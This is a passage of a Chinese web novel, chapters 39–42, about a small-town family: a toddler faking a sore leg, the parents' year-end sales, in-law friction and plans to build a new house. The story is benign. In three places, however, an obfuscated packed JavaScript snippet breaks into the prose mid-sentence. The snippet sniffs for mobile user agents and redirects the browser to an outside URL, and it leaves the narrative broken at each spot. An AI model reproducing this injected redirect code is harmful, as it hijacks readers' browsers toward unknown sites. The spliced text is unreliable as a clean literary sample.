宁时夏立刻睁开眼睛,一溜烟爬起来:“我醒了。” 宁绍明憋笑:“你醒了呀,那你跟哥哥一起自己走过去吧。” “我、我我,”宁时夏小脑袋疯狂运转,赶紧想出另一个借口,“我腿疼,走不动。” 宁绍明:“腿疼啊?腿疼可不能耽搁,要去卫生院打针才行。”他作势要穿外套,带她去医院。 怕打针的宁时夏要哭了:“我不要打针……” 宁绍明差点没忍住笑出声:“不想打针也可以,我跟你三外公学过一手,帮你检查一下,要是不严重就不用去打针了。” “真的吗?”三岁小朋友半信半疑。 宁绍明给老婆使了个眼神,赵如月心领神会。 也跟着一本正经逗女儿:“当然是真的,等会儿我给你当助手。” “那你过来,我跟你说说,怎么给我当助手。”宁绍明故意跟赵如月躲到一边,说女儿也能听到的悄悄话,“拍拍左脚,右手就抬起来,拍拍右脚,左手就抬起来,能这样的人,说明腿疼不严重,不用去打针,等下我们轮流拍,多拍几次才能检查得准。” 宁时夏一听,这个简单,她前班小班的老师,早就教过怎么分左右手和左右脚啦。 自从学过后,她穿鞋就没再穿反过。 “小手拍拍,小手拍拍,拿筷子的是右手,端着碗的是左手;小手拍拍,小手拍拍,拿笔写字的是右手,压住纸张的是左手……”她还小小声地复习起来,生怕爸爸检查的时候,自己搞错被带去医院打针。 没挪出去多远的宁时秋,回头见到爸爸妈妈在憋笑,哪还不知道他们在逗妹妹。 他无奈地看向床里,笨蛋妹妹还当真了。 爸爸让她坐好,拍拍她的左脚,她歘地一下举起右手,拍拍右脚,又歘地一下举起左手,爸爸拍脚的速度加快,她举手的速度也加快。 那一双小手飞快倒腾上下摆动,就像一只在疯狂扒拉纱窗的小傻猫! 爸爸逗完,妈妈逗,把小傻猫累得都要吐着舌头喘气了。 哥哥看不过去,转身回来爬到床上点点她额头:“小笨蛋!” “我才不是笨蛋!哥哥才是大笨蛋!”宁时夏还觉得自己特机灵。 等爸爸妈妈检查完,认为她的腿虽然走不了路,但是也没疼到要去医院打针的地步,肯定就让她留下跟他们一起睡了。 妈妈香香的,她要挨着妈妈睡! 宁时秋算是看出来了,爸爸妈妈并不是真的想让他们去跟奶奶睡。 奶奶睡得早,要是真让他们去奶奶那里,奶奶早就来催他们了。 宁时秋不理笨蛋妹妹了,抱着一个枕头放到床中间:“我要睡中间。” 宁时夏急了,顾不上再应付爸爸妈妈的‘检查’扑过去:“我也要睡中间!” 趴在哪里好一会儿,才发现自己刚刚扑过来的时候,好像在床上爬了几下,假装说自己脚疼的事露馅儿了。 “嘿嘿……”她心虚地笑了笑,然后不好意思地偷瞄爸爸妈妈。 赵如月好笑地拍了拍闺女的小屁股:“你个小人精,不想跟奶奶睡,直接跟爸爸妈妈说不就好了,还装腿疼,你爸一看就看出来了。” 宁时夏惊讶地问:“爸爸妈妈同意呀?” “嗯,”赵如月温柔地给他们把被子盖好,“现在暂时同意你们跟我们睡,等以后建新房子,你们有了自己的房间,就要自己睡了。” 以后是什么时候? 宁时夏想不到,不过现在能跟爸爸妈妈一起睡,她就很开心了,以后的事以后发生了再说:“那现在妈妈睡我旁边,爸爸睡哥哥旁边,也可以吗?” 赵如月看着女儿亮晶晶的眼神,终于感受到年幼时的女儿原来这么喜欢自己的真实感:“当然可以。” “好耶!”宁时夏欢呼一声,扑进妈妈怀里,“我要抱着妈妈睡!” 宁时秋倒是听懂了赵如月的话:“妈妈,我们家有钱建新房子了吗?分家后,我们是不是不能住在这里了?” 赵如月有些担心时间不对,孩子们舍不得这里:“小秋喜欢现在住的地方?” 宁时秋说不上现在的自己喜不喜欢。 以前爸爸妈妈还经常在家的时候,他觉得在家里很开心,如果妈妈那时候问,他肯定说喜欢。 可是爸爸妈妈去鹏城后,他就住着不太开心了,总觉得这不算自己的家。 大伯娘跟人聊天时,提起分家的事,总是开玩笑说,按照规矩,家里老宅分成的两个小院子,一个是大伯的,一个是二伯的,还说这里不是他家,他家现在是个空地。 虽然过后大人们又说,那些话都是开玩笑而已,可他还是觉得不高兴,不高兴也不能表现出来。 因为第一次听到那些话,他表现出来不高兴,被人说了小心眼,开不起玩笑。 他们好像很喜欢看到他为这个生气的样子,然后一群大人哈哈大笑。 所有他有时候宁愿去外婆家住,在外婆家不会有人跟他说这些。 “妈妈,我们家现在还是空地吗?”宁时秋问。 赵如月跟宁绍明对视一眼,他们从来没在孩子面前说过这个,老人也不会乱说,那么是谁说的,不难猜。 她正想趁着说到这个话题,问问两个孩子对空宅基地的看法。 却不想,宁绍明先她一步问了出来:“小秋和小夏知道家里有一块建房的空地啊?” 两个孩子都点头。 宁时夏说:“哥哥带我去看过,大伯娘说我们家在那里。” 宁时秋都想不到妹妹会这么说,大伯娘说这些话不能跟爸爸妈妈说的。 不过没阻止住她,说都说了,他也没办法,只好跟着说:“对,我们去看过,我觉得那块地挺大的,比我们现在住的地方跟隔壁鑫阳哥家加起来都大。” “当初你们爷爷奶奶申请宅基地,又特地买了宅基地旁边一块地,凑的那么大面积。”赵如月大概知道公婆的想法。 他们认为自己上了年纪,以后没能力再建一个院子给儿子,只能在儿子建房的时候,出一部分钱。 剩下的一部分,得分到这个宅基地的儿子自己想办法。 所以就把面积搞得大点,也算是补偿,即使这样,不管谁分到这里都算是吃亏了。 那片地方镇上人非但不稀罕还很嫌弃,所以当年买那里的地很便宜,增加的面积,跟建房的花费没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14643228|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法比。 宁时夏本来窝在妈妈怀里都快睡着了,又兴奋起来:“妈妈,我喜欢那里,我们家没钱可以盖个棚子住,等我长大挣了钱,就可以给家里盖房子。” 宁时秋也赞成妹妹的话:“对,像修公路的那些叔叔一样的棚子,也可以住人,等我以后有钱,也给家里盖房子。” “哥哥一个,我一个,像现在跟爷爷奶奶一起住的房子一样,黏在一起,你们想住哪里就住哪里!” 赵如月摸摸女儿的脑袋,心想:自己闺女算不算是网友说的那种,没被规训过的女孩?她认为自己和哥哥,就跟大伯二伯和爸爸一样,所以家里的房子也应该一样,一人一个,完全没有女孩子长大后要嫁出去的意识。 她又问:“别人都有砖瓦房住,你们住棚子不觉得委屈呀?” 两个孩子异口同声:“能跟爸爸妈妈一起,不委屈!” 宁绍明听了感动得不行,觉得自家孩子就是好,又乖巧又懂事,还不爱攀比,也不会跟父母要这要那的。 他完全选择性忘记,前不久孩子才要了滑板和自行车。 赵如月也很感慨,这就是她的孩子,单纯、可爱,满心就想跟爸爸妈妈在一起,只要有足够的爱,即使家庭条件不好,全家一起吃糠咽菜,他们也不会嫌弃。 “家里的房子,爸爸妈妈有钱盖,可以给你们一人盖一个,你们的钱,留着以后在城里买。”赵如月说完看向宁绍明。 她上辈子因为所谓的规矩和传统,观念跟不上时代,踩过一次坑,摔得那叫一个头破血流,同样的错她不会再犯。 宁绍明愣了一下,转而又笑着点头:“对,爸爸有钱,盖得起两个。” 镇上没人给女儿准备房子又怎样。 他凭自己本事盖起来两个院子,想给就给! 宁时夏跟爸爸妈妈一起睡,美得半夜做梦都咯咯笑出声。 第二天被吵醒的宁时秋跟她说起来,她还不承认。 两个孩子吃过早饭,叽叽喳喳斗着嘴,带着玩具一起跑出去找小伙伴玩了。 赵如月和宁绍明早饭吃到一半,就忙着给一大早就来挑货的人找东西,只来得及给他们兜里一人塞了五毛零花钱。 叮嘱一句:“你们中午要是饿了,回来发现我们都没空,就自己去表舅家的店买碗米粉吃,知道了吗?” 两个孩子大声应一句:“知道啦!”话音刚落,人已经跑远。 生意出乎意料的好,来买的人里,有昨天散场才得到消息,没能买到的人。 还有买到便宜实惠的好东西,又跑去跟亲朋好友说的人,又跟亲朋好友们一起来的人。 昨天买了袜子,今天又来买围巾、丝巾或者手套。 男款不多,赵如月给宁绍明留了一份,剩下的很快就卖完了。 来晚没赶上的懊恼不已,可实在没有货。 来晚的一个小媳妇儿无奈地说:“看来只能多买一双手套,回去糊弄一下我家那个了。” 另一个也没买到男款围巾正发愁的,高兴地拍了一下大腿:“你这主意好!要不我自己又买丝巾又买围巾的,回去肯定要被我家那个阴阳几句,嫌我光顾着给自己买,不惦记着他。” 从大袋子里往外拿东西的宁绍明动作一顿,抱着东西凑到赵如月身边,悄声问:“你以前是不是也这么糊弄我来着?” 40. 第 40 章 “额……咳咳。” 糟糕,被发现了。 赵如月灵机一闪:“你在我心里跟别家男人又不一样,我哪有糊弄你的必要呀?” 宁绍明恍然大悟:“是啊!”自己确实跟别的男人不一样,完全不会在这种事上斤斤计较。 而且老婆不给他买东西的时候,他也没生气过,老婆确实没有糊弄他的必要。 宁绍明认真想了想,以前她给自己买的东西,也没有不好的。 更别说在疼媳妇儿这方面,街上的男人貌似也没有谁能比得过他? 被老婆三言两语哄好的宁绍明,得意洋洋地沉浸在自己是老婆心里独特的存在、是大桥街和小桥街唯一好老公的情绪中,又麻溜忙活去了。 到了中午,墙上的老挂钟铛铛铛地响了好几下。 买了东西留在这里聊天的人终于反应过来:“哎呀,十二点了,家里小崽子肯定饿了,我得赶紧回去做饭去,不跟你们聊了。” 好些人离开,堂屋里终于不显得那么拥挤。 虽然还是有人陆陆续续地来,但是来的人比早上少很多,赵如月和宁绍明两人终于能轮流歇一会儿。 宁绍明起身去厨房,看看有什么吃的,要是没吃的,他还得现做,赵如月留在堂屋继续招呼买东西的人。 叶菁带着女儿从外面回来,见是宁绍明去做饭,瞟了角落里坐在火盆边烤火嗑瓜子的大嫂一眼。 见大嫂眼睛都没抬一下,也没偷偷跟身边聊天的人说三弟妹闲话,觉得很惊奇。 昨天大嫂悄悄跟自己说三弟妹,认为她不该让三弟干那些女人干的活,今天三弟去做饭,她怎么不吭声了? 叶菁干脆拐着弯自己问:“哟,今天中午是老三做饭啊?听妈说老三在酒店跟人学了手艺,我们今天有口福了!” 赵如月要招呼来买东西的人,转头对她笑了笑,没说话。 王海燕倒觉得奇怪:“老三做饭你怎么那么惊讶?老二在家不做饭啊?我们家那个别看成天喜欢出去溜达,跟那些朋友瞎混,哪天他要是刚好在家,做饭也勤快得很!” 叶菁和宁绍德结婚后很少回来,有孩子后更不爱回了。 她不喜欢自己女儿跟乡下这些野惯了的孩子乱跑。 周末和寒暑假即使回来,除非过年过节必须回婆家,不然也更爱待在自己娘家,让自己女儿跟娘家同样有公职的哥哥姐姐家的女儿一起玩。 她还真不知道那个爱瞎混的大伯哥在家竟然也做饭,还以为自己丈夫是家里唯一一颗好笋。 叶菁尴尬地笑笑:“我家那个,在家有空当然也会做饭。” 王海燕:“我就说嘛,老宁家男人在家就没有不愿意做饭的,你们嫁进来晚,没见过太公,我是见过的,再往前的长辈,我也没见过不好乱说,但打从太公那一辈起,老宁家男人在家都做饭!” 她回娘家跟娘家几个姐妹比起来,最得意的就是这个。 “是嘛,那我们这些女人可真是享福了。”叶菁没得到自己想听到的话,随便敷衍一句,又说要给女儿洗手,带着女儿往天井那边走了。 堂屋里听到她们对话的人多数是老邻居,老宁家男人在家会做饭这事,听王海燕夸过几百遍了。 她们直接无视那些话,反而更关注宁家老三在鹏城的酒店学了手艺这事:“宁老三学的什么手艺?” “还能是什么?”王海燕觉得问这话的人,就是个榆木脑袋,“酒店卖饭的,肯定是学的做饭手艺啊!” 问话那人撇嘴:“做饭还用学?我看看都会做!” 王海燕吃饭的时候,跟家里其他人一起仔细问过宁绍明都学的什么。 还拉着家里人一起鼓动宁绍明露了一手,她一个连县城都没去过几次的人,见到宁绍明用萝卜雕花,被深深被震撼了。 自觉见过世面,这会儿她用看土鳖的眼神看问话那人:“你可拉倒吧!就你那三脚猫的手艺,做出来的饭,拿出去卖人家愿意买吗?” 那人挠头:“也是哈,我会做的大家都会,拿出去卖肯定没人买。” 王海燕辩倒了别人,一脸得意:“老三学的那手艺,能把萝卜雕成一朵花,就跟电视上一样!我还是第一次在现实里看见萝卜雕的花,以前我还以为电视上的是假的呢,没想到萝卜真的能雕成花!” 她站起身,兴奋地说:“你们等着,我昨晚把那朵萝卜花收起来了,没让家里几个小的拿去玩,我这就拿出来给你们看!” 天气冷,她把萝卜花放碗里,又放了点水,现在拿出来那朵萝卜花看起来依旧水灵。 堂屋里剩下的人围着萝卜花啧啧称奇,轮流摸了摸,又闻闻味道:“是萝卜味儿,还真是萝卜做的!” “这个在酒店里卖得很贵吧?” 王海燕:“不知道啊,我没问。”她昨天见到的时候,也光顾着惊叹了。 有人觉得能把萝卜雕成花很厉害,也有人觉得萝卜雕成花也还是萝卜:“这萝卜变个样子,吃进嘴里,不也是萝卜的味道吗?谁会花大价钱买?那不成冤大头了!” 另一个也是外地打工回来过年的邻居说:“有钱人呗!你没出去过不知道,在外面,有钱人吃一顿饭能吃掉几百块钱,有的甚至上千!我一个月工资,人家一顿饭就吃没了!” 好几个人倒吸一口气:“吃什么那么贵?龙肉啊?” “我们去肉摊上,买一斤肉才几块钱,别人酒店,进货一斤也是几块钱,做成菜,再整点花样,雕个花摆个盘,能卖几十、甚至上百块钱一盘!” 有人好奇地问赵如月:“你们家宁老三会这手艺,一个月能挣不少钱吧?” 赵如月好笑地回她:“那酒店又不是我们家开的,挣钱的都是老板,我们家那口子,也就挣个打工的钱,一个月能有一千多就不错了。” “打工也跟打工不一样啊,你家宁老三有手艺,应该也能当师傅了,怎么也能比普通打工的多挣点,你们过完年回去上班,能不能带……” “妈!” 那人话没说完,宁时秋提溜着两袋东西噔噔噔进来大喊了一声,把话打断了。 赵如月打开儿子手里的袋子,发现是一袋大概两斤重的米粉,另一袋竟然是肉:“这米粉和肉是你大姑给的吧?” 宁时秋摇摇头又点点头:“米粉是我和妹妹用你们早上给的零花钱买的,肉是大姑给的,大姑说晚点等她有空还拿肉来,给爷爷奶奶做腊肠过年吃。” 赵如月给儿子擦了擦他额头大冷天都跑出来的汗:“你们怎么不在街上吃过午饭再回来?” 宁时秋掰着指头给妈妈算:“街上一碗米粉给二两,再加一点葱花和肉末就要五毛钱,我去批发米粉那里只买米粉,一块钱就能买两斤,葱花我们家里有,肉昨晚也有剩的,回来自己煮,两斤够全家吃,多划算!” 赵如月还没说什么,邻居先夸起来:“你这儿子可不得了,小小年纪就这么会过日子了,以后肯定孝顺!” 赵如月:“两个孩子懂事,也是心疼我跟他爸挣钱辛苦。” 宁时秋被夸得耳朵都红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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老三给他买的好烟,他可舍不得抽,要留着过年跟亲戚们显摆的,思来想去,那点钱还是选择留着去买烟。 买完烟,宁达叮嘱小孙女:“炸油馍回去给你哥哥分就行,别让其他哥哥姐姐和你大伯娘知道,记住了吗?” 宁时夏眨眨眼睛,不懂但听话:“好,我悄悄分给哥哥。” “真乖,”宁达牵起小孙女的手,“走喽,回家吃午饭去。” 宁时夏高高兴兴地牵着爷爷的一根手指,跟着他往家的方向走。 结果走到一半,她觉得累了,有点走不动。 于是松开爷爷的手,不走了,蹲下大喊:“爷爷,我肚子疼,想拉粑粑!” 宁达一听慌了,赶紧问:“能憋住不?可不能拉路上,快点走,回家拉。” 宁时夏:“我肚子疼,走不动啦!” 宁达没办法,只能一把抄起小孙女背到背上,赶紧往家跑。 去菜园摘小葱回来的王海燕,远远地看见公公往家跑,哈哈笑着拉赵如月出来看:“你看看那爷孙俩,我说的没错吧?” “快快快,老三媳妇儿你快带小夏去厕所。” 不等赵如月过来抱孩子下来,宁时夏已经自己滑到地上,对着她爷爷嘿嘿笑:“爷爷,我肚子不疼了。” 宁达真是又好气又好笑,在她屁股上拍了一下:“你这小丫头,又骗我!”偏偏这么小点的小孩子是不是真要上厕所还不好分辨,他不敢不当真。 万一孩子真拉半路上更糟,只能每次都赶紧背她回家。 王海燕:“爸,你还说她呢,每次都上当,你还老爱带她去,自己惯的能怪谁!小夏,爷爷带你去玩,竟然没给你买好吃的吗?” 41. 第 41 章 王海燕故意用带着嫌弃和职责的语气叭叭叭地说: “你这当爷爷的带孙女出去玩,也不给买点好吃的,就光让小夏干巴巴地看你跟老头老太太下棋?哪有这样当人爷爷的,这样可不是好爷爷,看看人家那谁家的爷爷……” “爷爷没有不好,他对我最好了!”宁时夏再机灵,年纪也还小,哪看得出大人这样是真的还是在装。 在她心里爷爷对自己特别好,是好爷爷,听到大伯娘指责爷爷,宁时夏就着急了。 掏出包里的炸油馍给大伯娘看:“你看,给我买了炸油馍的!” 她护爷爷心切,宁达想阻止都来不及。 他既无奈又有点生气,这老大媳妇儿也真是的,竟然跟孩子耍这种心眼子,没个长辈的样子! 给孩子买点东西也非要知道,等知道了又要不高兴。 王海燕看宁达真给她买了东西,脸上笑容果然快挂不住了,觉得这老头是真偏心老三家的孩子,以前可没见过他给小春和丹萍买过这些。 她强撑着笑,用阴阳怪气的语调说:“哦哟哟哟,给你买炸油馍了呢,那挺好,大家都知道你爷爷对你最好了,可惜哟,就买一个,只能小夏自己吃独食了,你的哥哥姐姐们都吃不到。”说完就拿着小葱转身往屋里去了。 宁时秋听着大伯娘的话,心不断往下沉,又来了,才几天没听到这样怪怪的话,又来了。 他想替妹妹说她不会吃独食,她是个会分享的孩子,有好吃的很乐意给大家分的。 可是又想起以前发生过的类似场景,说怪话的大人们只是想欺负他们,从来不在意真正的他们是怎么样的,也不想听他们真实的想法。 解释几句,还会被大人说嘴巴厉害,顶嘴。 然而不等宁时秋说些什么,他妈妈已经开腔了。 “小夏吃得完就自己吃,吃不完就让你哥哥帮忙吃一点,大伯娘家的堂哥堂姐比你大十几岁,你没出生他们就吃过这个,可比你多吃好些年。 你年纪小,再吃十个八个,也不如他们吃过的多,以后长辈给你的东西就是你自己的,你想给别人分就给,不想给也没错。” 赵如月刚刚在旁边听着大嫂这话,也觉得心里很不舒服。 才三岁的孩子知道什么?孩子讨长辈喜欢是孩子的错吗?至于在孩子身上耍这种把戏? 看到女儿一脸迷茫不知所措的神色,赵如月怒上心头。 但又不想在女儿面前表现出来,只好压制住那股怒意,耐心哄孩子。 赵如月刚才说话的时候,没特地压住音量。 宁时秋很担心,妈妈说的话,好像是在反驳大伯娘,大伯娘最容不得别人反驳她。 大伯娘吵架特别厉害,她听到妈妈的话,会不会跑出来找妈妈吵架? 他妈妈那么温柔,很可能吵不过吵起来像泼妇一样的大伯娘。 谁知他担心的事情竟然没有发生,妈妈把妹妹哄好,就叫爷爷和他去吃午饭,然后抱着妹妹也进去了。 走到天井,遇到正在洗小葱的大伯娘,宁时秋悄悄瞄了她一眼,发现她好像没生气。 饭桌上遇到两个大人也像刚刚的事情没发生过一样,一点反应都没有。 这让宁时秋十分摸不着头脑,很想不通到底怎么回事。 虽然有点早熟,但年纪阅历依然不够的他,不知道这就是大人的世界。 在大人的世界里,大人们最懂得如何戴上面具,维持表面的和平。 有些人前一秒还吵得天翻地覆,恨不得要杀了对方全家,后一秒也可能又勾肩搭背哥俩好,只是心里怎么想不好说。 王海燕强撑着作为长辈和大嫂的面子,实际上心里悔得要命。 她不住地懊恼,自己这一年在孩子面前当教导者当习惯了,遇上点事就喜欢指点一番。 居然忘了人家亲妈已经回来,不管人家孩子有什么毛病,人家亲爹妈在,哪轮得到她去指指点点? 王海燕越想越后悔自己这张嘴没个把门,让儿子跟老三去鹏城的想法实现不了,她又想让儿子跟着老三学手艺。 事情还没来得及提,就惹了老三媳妇儿不高兴,她要是从中作梗,这事怕是成不了。 王海燕愁得不行,又强撑着面子,不愿意说几句软话,想就这么糊弄过去,等时间久了,这件事淡了再提。 赵如月不知道她的心思,但分家的想法越来越强烈,越来越急切。 吃过午饭,她跟宁绍明继续卖东西,昨天加上今天一天,袜子全部卖光。 围巾手套那些也只剩下大半袋。 赵如月都没想到街上的人购买力那么强,光是熟人跟熟人之间传消息,就把货卖得差不多了。 后面还有人听到消息来买袜子,但是已经买不着了。 这些人里有一部分只想买袜子,剩下一部分看到围巾、丝巾和手套价格实惠,没买到袜子也买了其中一件或者几件回去。 晚上趁着两个孩子跑出去玩还没回家,赵如月跟宁绍明说起分家的事。 “我觉得不能再耽搁了,你找个机会跟爸妈说吧,我们早点去订建房的材料,过完年马上开工建房。” 宁绍明听赵如月说了中午发生的事,跟她也是一样的想法。 “等明天东西卖得差不多,我就去跟爸妈说,让他们早点把分家这事办了,最好年前分好,我已经打听过建房材料的价格,水泥、河沙、砖头、石灰镇上能买到,也是相熟的人在卖,应该能给个优惠价格。” “也就钢筋可能要去县城订,会多花点钱,不过我们暂时只建一层,就算面积大点,也用不了多少钢筋,建成之后不着急装修的话,只把门窗水电装好,晾干房子,很快就能入住。” 赵如月:“你心里有数就好,那我们带孩子去县城玩,就跟家里说去看订钢筋?” 要不然可能还得带别人家孩子去,赵如月可不乐意。 这个宁绍明也没意见,夫妻俩商量了一会儿,中午的时候说晚点来的大姑姐来了。 隔着老远就听到她的声音:“本来想下午的时候来,谁知道家里又有点事,拖到天都黑了才有时间过来,妈,你把肉拿进去吧,做腊肠还是做什么随你们。” “今天提前拿肉来,年初二我就不给了哈,老三两口子呢?一年没见,我都怕走路上遇到他们认不出来。” 宁绍明站起来伸了伸筋骨,走出房间:“大姐,你说得也太夸张了,我又不是长相没定型的小孩子。” “哟,”宁美婷绕着三弟看了一圈,用打趣的语气说,“我看也没夸张多少,出去一年,你小子壮实不少,人也白了,跟三弟妹站在一起不那么像块炭了!” 宁绍明:“你也不看看我儿子闺女长什么样,他们那么白,说明我也本来也白,就是以前要下地干活晒黑了!” “得了吧,俩孩子这么好看,八成都是遗传弟妹的!” 赵如月恰好提了几袋东西出来:“姐,这是你家那份,正好你今天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673432|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,我也不用再跑一趟了。” 这些是给大姑姐一家准备的衣服。 以前家里穷,过年都紧巴巴的,大姑姐嫁的是镇上卖猪肉的人家,不缺肉吃,她知道娘家的情况,每年都会把初二回娘家才会带的肉,提前送回来。 老二一家的衣服,让婆婆给,是因为赵如月不喜欢跟二嫂打交道。 但她一直把大姑姐对家里的照顾记在心里,知道她会提前来家里送肉,就没让婆婆帮忙把衣服送去。 这会儿她拿出来的除了衣服,还有一袋分好的过年零食水果以及用礼盒装的干货。 宁美婷见到这么多东西,着实吓了一跳:“怎么给我拿那么多,不用给我这些,你们留着家里过年吃!” “家里还有呢,”宁绍明越过她,直接塞给跟她一起来的两个外甥,“少平、少光拿着,别跟舅舅客气!” 莫少平和莫少光兄弟俩乐颠颠地包了满怀,也不管他们妈妈在旁边让让不许拿。 以前他们妈妈提前给外婆家送完肉,回家和过年亲戚一起吃饭时,总会有人私下嘲笑他们妈妈,或者不怀好意地直接问妈妈,今年有没有提前给娘家送肉,娘家又给了她什么回礼。 这次带回去那么多东西,看谁还敢嘲笑他们妈妈! 宁美婷收到东西,心里也高兴得很。 往年她初二回娘家,娘家人也会给她回一只自家养的鸡,一点糖饼。 可她帮衬娘家的更多,年前提前给娘家送肉,初二只带一点东西来,婆家人面上不好看,也不合规矩,她婆家人难免会不高兴。 今年可好,三弟把之前借她的钱还了不说,还按照肉价多给了钱,说今天带回来的肉算他买的,宁美婷不收都不行。 还给她家那么多好东西,今年她在婆家,也能扬眉吐气一回了! 宁绍明没跟大姐说自己准备分家的事,不过跟她解释了,今年是他一回来就忙昏了头,没能提前说,往后过年她就不用再提前给家里送肉了。 其实全家一起供二哥读书那些年,家里日子过得紧巴很正常,可二哥工作后,他但凡回馈一点给家里,也不至于需要嫁出去的女儿提前拿肉回来给娘家撑场面。 这件事宁绍明不知道大哥和二哥是什么想法。 以前他们夫妻俩在他们这一辈里年纪最小,在家里话语权不高,家里这种事,他们无权也没有能力做决定,即使觉得丢脸也没办法改变。 现在快要分家了,他也有了回馈的能力,可不想再让姐姐因为这种事难堪。 不管别人以后如何跟大姐家往来,反正他是不愿意再收这提前送来的肉。 这天晚上,宁绍明睡前去了一趟父母的房间。 叶菁从厕所里出来,回房间的路上恰好看见,正悄悄想过去听听他们说什么,又有点犹豫。 结果她还在纠结,宁绍明已经出来了。 其实宁绍明也看到她了,只是大晚上静悄悄的,还没别人在场,他一个小叔子不好过去跟嫂子搭话,就装作没看到,径直走了。 等宁绍明走远,叶菁急忙回到房间。 她看向快要睡着的丈夫,很想把他摇清醒,又想起刚回来那天他们之间的争吵,这男人的心还是偏向他的父母兄弟。 最后叶菁还是没叫醒他。 她心想:等着瞧吧,你三弟已经偷偷去跟那老两口商量了,要不了多久,就能看到他们的真面目! 你也会清醒地认识到,谁跟你才是真正的一家人! 42. 第 42 章 第二天是集日,赵如月找来一个晾衣服的木架子,把围巾、丝巾全都挂到衣架上,又把衣架挂到架子上。 早上天蒙蒙亮她就起床,顾不上吃早饭,赶紧开门架子搬到门口。 他们榕溪镇周围,有像王海燕娘家那个村子一样,距离镇上只需要走半个小时,甚至十几分钟路程的村子。 也有需要走一两个小时,甚至三个小时路程的偏远小村。 那些偏远村子里的人,每逢集日才会出来镇上买东西。 他们为了当天能在天黑前及时赶回家,需要早早到达镇上赶早市。 按照路程,天不亮就得起床,争取早上六七点到达镇上,在早市上买足家里需要的东西,中午再赶回家。 街上来买东西的人少了,赵如月想尽快把货清掉,今天要做的就是这些偏远村里人的生意。 东西拿出来,挂上一个写了价格的牌子,再让宁绍明弄个灯吊在屋檐上,照明外加吸引人。 宁家在偏远村子也有亲戚,往常亲戚们出来赶集日的早市,他们家都会提前准备一壶热茶或者热汤。 让亲戚们在家里喝口热乎的,歇歇脚再去集上逛。 今天赵如月让宁绍明多准备了一些茶水,还有一包一次性杯子。 不管是不是亲戚,只要过来看货,她都给人家倒一杯热茶。 镇上那些买衣服的店铺,目前很少有像她一样,把东西的价格标得明明白白,都是人家去问,店主才会说价格。 某些店主给熟人报的价格,跟陌生人也不一样,不懂讲价的人去买大概率会吃亏,尤其是不太常来镇上的人,有些甚至不敢主动去问价格。 以至于标价的有可能比不标价的贵点,他们也愿意直接买有标价的东西,反正大部分东西都有大概的价格范围,贵点也不会贵得太离谱。 赵如月把架子摆出来没多久,就遇上了这样的老乡。 人家话也不多说,喝了热茶,就问一句:“老板,同一种东西,不同花色,也都是这个价格?” 得到赵如月肯定的回答,人家选好喜欢的花色,直接就掏钱买下来了。 赵如月看她买的多,给抹了个零头。 这个客人还很高兴地说:“老板你做生意真实诚,抹掉的零头,够我的午饭钱了,以后你会一直在这里开店吧?” 赵如月说:“我这是年底清货,卖完就干别的了。” 那人还觉得很可惜,她很喜欢这样明码标价的老板,不然有时候去问了价格不买东西,会遭老板白眼,每次她都会难受得很长时间都不想来镇上。 赵如月趁机给自家还没影子的餐饮店做宣传:“我跟我老公年后会在石榴林那边建房子,开店卖吃的,你以后上街逛累了,可以去我们店里喝口热汤歇歇脚。” “好好好,我到时候一定去!” 赵如月卖出去一单就跟人宣传一次,因为对客人态度好,这个宣传效果还不错。 他们家的店还没开,镇上和一些村子里,大部分人都知道年后镇上要开一家新的餐饮店了。 连宁时秋和宁时夏出门玩,也有一起玩的小伙伴甚至路上遇到的大人问到这事。 刚开始被问到还好,后面一个问题回答得太多,把他们都问烦了。 两个孩子干脆不出门,兄妹俩自己在家里玩。 今天一上午,赵如月昨天剩下的大半袋货就差不多卖完了。 只能下一条围巾和四双手套。 客人越来越少,赵如月干脆收了摊,剩下的这点东西留着自己用。 到今天,带回来的货算是全都卖光了,他们夫妻俩才能真正歇一口气,吊着半截的心也能落到实处。 扣掉运费和进货的本钱,还有留给自家人用以及送人的那部分,这一批货让他们赚了两万多,将近三万块钱! 赵如月喜滋滋地在房间里算着账,觉得现在的生活太有盼头了。 按照镇上建房的价格,这些钱,他们建两层楼都够。 只是主体建好,这些钱也会被花光光,别说装修,连买门窗的钱都没了。 所以他们让人决定只建一层平房,房子面积建得大点,以后可以跟老宅一样,隔成两个院子。 以后要是挣了钱,有继续往上建的需求,再加建第二第三层。 算好账,赵如月趁着下午镇上的农信社人少,抓紧时间把钱存好,这才完全放心。 她回到家,看宁绍明脸色不太好,疑惑地问:“怎么了?脸色那么差。” 宁绍明打起精神摇头说:“没什么。” 看出有事,但他不太想说,没跟她商量的事应该不是什么大事,赵如月就没追着问。 “那我去厨房喝口水,你看看今晚吃什么,昨晚大姐拿回来的肉,妈打算怎么处理?” 她这么一问,宁绍明脸色又更难看了点:“她说切出来三斤过年吃,剩下的十来斤做成腊肠。” 听到只留三斤过年吃,赵如月也不太高兴,往常大姐拿回来的肉,婆婆也是这么处理。 过年的时候吃一大家子吃三四斤肉,加上杀的鸡和菜园子里的菜凑一桌子。 剩下十来斤做成腊肠,但那些腊肠一般会让老二家带走大半。 